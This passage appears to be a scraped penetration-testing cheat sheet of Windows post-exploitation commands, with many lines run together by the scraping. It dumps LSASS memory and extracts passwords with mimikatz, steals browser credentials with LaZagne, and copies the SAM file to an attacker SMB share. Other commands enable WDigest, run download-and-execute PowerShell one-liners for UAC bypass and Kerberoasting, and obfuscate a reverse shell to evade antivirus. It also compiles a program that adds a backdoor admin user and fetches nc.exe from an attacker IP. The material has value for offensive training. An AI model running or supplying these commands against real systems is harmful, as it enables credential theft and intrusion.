wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.dllwget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.exe
.\Outflank-Dumpert.exerundll32.exe C:\Windows\temp\Outflank-Dumpert.dll,Dump- With Avast’s AvDump
bash12 lines
## ------------------| LocationC:\Program Files\Avast Software\Avast\AvDump.exe
## ------------------| Downloadwget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x86/AvDump.exewget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x64/AvDump.exe
## ------------------| Execute.\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Windows\temp\file.dmp
## ------------------| Metasploit post exploitation modulepost/windows/gather/avast_memory_dump- With SqlDumper
bash9 lines
## ------------------| Downloadwget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x86.zipwget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x64.zip
## ------------------| Execute.\sqldumper.exe [lsass's pid] 0 0x0110
## ------------------| Extract passwordsmimikatz.exe "log" "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit- LaZagne [Firefox,Chrome]
bash2 lines
wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe.\laZagne.exe all- LetMeowIn
bash2 lines
git clone https://github.com/Meowmycks/LetMeowIn.git && cd LetMeowIngcc01.13 Other
- Copy file from
smbserver
bash19 lines
## ------------------| Start SMB Serverimpacket-smbserver <shareName> <sharePath>impacket-smbserver share $(pwd) -smb2supportimpacket-smbserver share $(pwd) -smb2support -username h4rithd -password Password123
## ------------------| Mount share using cmdnet use z: <LHOST>\sharenet use z: \\<LHOST>\share /USER:h4rithd Password123
## ------------------| Mount share using powershell$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('h4rithd', $pass)New-PSDrive -Name h4rithd -PSProvider FileSystem -Credential $cred -Root \\<LHOST>\sharecd h4rithd:dir
## ------------------| Direct copycopy C:\Users\Public\sam \\10.10.14.26\share\samxcopy C:\Users\Public\sam \\10.10.14.26\share\sam- Start
SMBsamba server on Linux for share files.
bash29 lines
## ------------------| From using Impacket-smbserverimpacket-smbserver share .# if it gets error "Your system requires SMB2 or higher" then run below commandimpacket-smbserver share . -smb2support
## ------------------| From using Linux default SMBA## Backup current settingssudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak## Create directory for smb location and grant permissionmkdir -p /tmp/smbchmod 0777 /tmp/smb## Config smba for shareecho "\n\n#### --- $(hostname) was edits below lines ----\n[share] \n \\tpath = /tmp/smb \n \\tpublic = yes \n \\twritable = yes \n \\tcomment = $(hostname) shares \n \\tprintable = no \n \\tguest ok = yes \n \#### --- Edit done -------" >> /etc/samba/smb.conf## Verify configstail 10 /etc/samba/smb.conf## Start smb servicesudo service smbd restart
## ** Please note to revert settings after done !!!cp /etc/samba/smb.conf.bak /etc/samba/smb.confservice smbd restartbash35 lines
## ------------------| Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]runas /user:DOMAIN\USER /noprofile powershell.exe
## ------------------| Insert reg key to enable Wdigest on newer versions of Windowsreg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
## ------------------| Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
## ------------------| Invoke-Mimikatz: Dump credentials from memorypowershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
## ------------------| Import Mimikatz Module to run further commandspowershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
## ------------------| Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
## ------------------| PowerUp: Privilege escalation checkspowershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
## ------------------| Invoke-Inveigh and log output to filepowershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"
## ------------------| Invoke-Kerberoast and provide Hashcat compatible hashespowershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"
## ------------------| Invoke-ShareFinder and print output to filepowershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## ------------------| Import PowerView Module to run further commandspowershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## ------------------| Invoke-Bloodhoundpowershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"02 Defense Evasion Techniques
- AV Evasion techniques (Invoke-Obfuscation)
bash20 lines
## ------------------| Basic setupgit clone https://github.com/danielbohannon/Invoke-Obfuscationcd Invoke-ObfuscationpwshImport-Module ./Invoke-Obfuscation.psd1cd /tmpInvoke-Obfuscation
## ------------------| Obfuscate entire command via EncodingSET SCRIPTPATH /tmp/revshell.ps1ENCODING5OUT /tmp/enc.ps1
## ------------------| Obfuscate PowerShell Ast nodes (PS3.0+)SET SCRIPTPATH /tmp/revshell.ps1ASTALL1OUT /tmp/enc.ps1- Evasion with Shellter
bash3 lines
shellterA ### For automatic mode### you can do it your self.03 Scripts
- Add new user using c
bash11 lines
#include <stdlib.h>
int main (){ int user; user = system ("net user h4rithd Password! /add"); user = system ("net localgroup administrators h4rithd /add"); return 0;}
## sudo i686-w64-mingw32-gcc adduser.c -o adduser.exe- Get-ServiceACL.ps1
bash5 lines
# download Get-ServiceACL.ps1 to the box and execute in memory$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.2/GetServiceACL.ps1',$false);$h.send();iex $h.responseText
# examine nscp service ACL"nscp" | Get-ServiceAcl | select -ExpandProperty Access- Invoke-TSPingSweep.ps1
bash4 lines
wget https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository/master/Scripts/Invoke-TSPingSweep.ps1
IEX(New-Object Net.WebClient).downloadString('http://10.8.0.74/Invoke-TSPingSweep.ps1')Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPortbash5 lines
## ------------------| Scan port 22Invoke-Portscan -Hosts 172.16.249.1/24 -Ports 22 -Threads 30 | Where { $_.Alive -eq "True" }
## ------------------| Scan other portsInvoke-Portscan -Hosts 172.16.249.202 -Ports '21,22,80,443,8080'bash8 lines
## ------------------| Import-ModuleImport-Module .\Invoke-AESEncryption.ps1
## ------------------| EncryptInvoke-AESEncryption.ps1 -Mode Encrypt -Key "h4rithd" -Path .\PlanText.txt
## ------------------| DecryptInvoke-AESEncryption -Mode Decrypt -Key "h4rithd" -Path .\ciphertext.txt.aes- wget script for download file.
bash28 lines
## ------------------| Create wget.js filevar WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1;BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile(WScript.Arguments(1));
## ------------------| It can be executed as follows.cscript /nologo wget.js http://10.10.14.25/nc.exe nc.exe
## ------------------| Create wget.vbs filedim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", WScript.Arguments.Item(0), FalsexHttp.Send
with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2end with
## ------------------| It can be executed as follows.cscript /nologo wget.vbs http://10.10.14.25/nc.exe nc.exe